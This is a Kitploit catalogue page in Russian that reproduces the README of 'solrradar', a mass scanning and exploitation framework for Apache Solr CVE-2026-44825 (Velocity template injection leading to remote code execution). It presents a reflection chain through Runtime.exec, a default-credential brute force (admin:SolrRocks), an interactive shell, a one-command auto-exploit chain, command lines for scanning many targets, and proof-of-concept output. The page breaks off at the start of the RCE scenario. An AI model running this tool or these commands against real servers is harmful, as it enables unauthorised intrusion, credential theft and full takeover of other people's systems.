Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
solrradar — ☄️ Фреймворк массовой разведки и эксплуатации для Apache Solr CVE-2026-44825 — инъекция шаблонов Velocity до RCE | Kitploit
Инструменты/GitHubGitHub/shinthink/solrradar
РазведкаСканеры уязвимостейАтаки на ПаролиЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHub
51813 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
shinthink/solrradar

solrradar

☄️ Фреймворк массовой разведки и эксплуатации для Apache Solr CVE-2026-44825 — инъекция шаблонов Velocity до RCE

Репозиторий
Поделиться

SolrRadar — CVE-2026-44825 Apache Solr Scanner

Python CVE License

Threads Version Brute RCE Shell

Фреймворк массовой разведки и эксплуатации для Apache Solr

Внедрение Velocity-шаблона → Удалённое выполнение кода



📑 Содержание

  • Обзор уязвимости
  • Затронутые версии
  • Возможности
  • Установка
  • Использование
  • Доказательство концепции
  • Техническое погружение
  • Методология обнаружения
  • Защита и смягчение
  • Дисклеймер
  • Ссылки

🔴 Обзор уязвимости

CVE-2026-44825 — это критическая уязвимость в Apache Solr, которая позволяет злоумышленникам добиться неаутентифицированного удалённого выполнения кода (RCE) через внедрение Velocity-шаблона.

Проблема

Параметр wt=velocity конечной точки /select Apache Solr принимает пользовательские Velocity-шаблоны. Если Velocity Response Writer включён (или может быть включён через конфигурационный API), атакующий может внедрить вредоносный шаблон, вызывающий java.lang.Runtime.exec(), выполняя произвольные системные команды с правами процесса Solr.

Влияние

ВекторСерьёзностьВлияние
Неаутентифицированное RCE9.8 (Критический)Полная компрометация системы
Аутентифицированное RCE8.8 (Высокий)Выполнение кода после аутентификации
Раскрытие информации5.3 (Средний)Перечисление ядер/коллекций

Движок Velocity-шаблонов

Apache Solr включает Apache Velocity как опциональный движок шаблонов для рендеринга ответов. Уязвимость кроется в VelocityResponseWriter Solr, который обрабатывает пользовательские параметры шаблонов без должной очистки, что позволяет напрямую вызывать Java reflection API:

Цепочка Java Reflection:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 Затронутые версии

Версия Apache SolrСтатусПримечания
9.4.0 – 9.10.1🔴 УязвимаАктивная эксплуатация в дикой природе
10.0.0🔴 УязвимаЗатронут начальный релиз 10.x
10.0.1+🟢 ИсправленаИсправление перенесено
9.10.2+🟢 ИсправленаДоступен патч-релиз
≤ 9.3.x🟢 Не затронутаVelocity Response Writer отсутствует
8.x (все)🟢 Не затронутаНет поддержки Velocity

Примечание: Проверки версий выполняются автоматически путём парсинга JSON-ответа /admin/info/system.


✨ Возможности

🔍 Разведка

  • Многоцелевое сканирование — 30 одновременных потоков, настраивается
  • Определение версии — точное извлечение версии Solr и Lucene
  • Двухрежимное обнаружение — SolrCloud + Standalone (один узел)
  • Зондирование с учётом аутентификации — проверка 3 admin-эндпоинтов на Basic Auth
  • Перечисление коллекций — вывод коллекций/ядер без аутентификации, когда это возможно

💀 Эксплуатация

  • Брутфорс учётных данных — встроенный словарь стандартных учётных данных Solr
  • Velocity RCE — внедрение шаблона через java.lang.Runtime.exec()
  • Интерактивная оболочка — псевдотерминал для пост-эксплуатационных команд
  • Цепочка авто-эксплуатации — обнаружение → брутфорс → RCE одной командой
  • Экспорт в JSON — структурированный вывод для интеграции с другими инструментами

📦 Установка

# Клонирование репозитория
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Установка зависимостей
pip install -r requirements.txt

# Проверка
python solr_scanner.py --help

Требования

requests>=2.28.0
urllib3>=1.26.0

Только стандартные библиотеки + requests. Никаких экзотических зависимостей.


📖 Использование

Аргументы командной строки

CVE-2026-44825 Apache Solr Scanner

  -t, --target     URL или IP[:port] одиночной цели
  -f, --file       Файл со списком целей (по одной на строку, # для комментариев)
  --exploit        Авто-эксплуатация, если найдены уязвимые учётные данные
  --rce            Запуск интерактивной оболочки после аутентификации
  -u, --user       Имя пользователя для Basic Auth
  -pw, --password  Пароль для Basic Auth
  -o, --output     Путь к JSON-файлу для вывода      (по умолчанию: solr_results.json)
  -w, --workers    Количество одновременных потоков   (по умолчанию: 30)
  -T, --timeout    Тайм-аут HTTP-запроса (секунды)    (по умолчанию: 8)

Базовое сканирование

# Одиночная цель
python solr_scanner.py -t 192.168.1.100:8983

# Одиночная цель с пользовательским путём
python solr_scanner.py -t http://example.com/solr

# Массовое сканирование из файла
python solr_scanner.py -f targets.txt -o results.json

Формат файла с целями

# targets.txt — поддерживает комментарии и пустые строки
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR не поддерживается; предварительно раскройте внешним инструментом)

Эксплуатация

# Сканирование + авто-эксплуатация, если найдены учётные данные
python solr_scanner.py -f targets.txt --exploit

# Известные учётные данные + интерактивная оболочка
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Авто-брутфорс + оболочка при успехе
python solr_scanner.py -t target:8983 --rce

🧪 Доказательство концепции

Сценарий 1: Обнаружение и определение версии

$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner

Цели: 3 | Потоки: 30 | Тайм-аут: 8s
Сканирование...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Коллекции (без аутентификации): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr

Готово. Всего:3 | Solr:3 | Уязвимо:1

Все 3 цели обнаружены. Экземпляр 9.4.1 помечен как уязвимый с включённой Basic Auth.


Сценарий 2: Брутфорс учётных данных

$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner

[Solr 9.4.1] УЯЗВ +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Коллекции: ['cms', 'users', 'search', 'analytics']

Учётные данные по умолчанию admin:SolrRocks предоставляют доступ к admin API Solr. Обнаружено четыре коллекции.


Сценарий 3: Аутентифицированное RCE через Velocity-инъекцию

$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
Скачать инструмент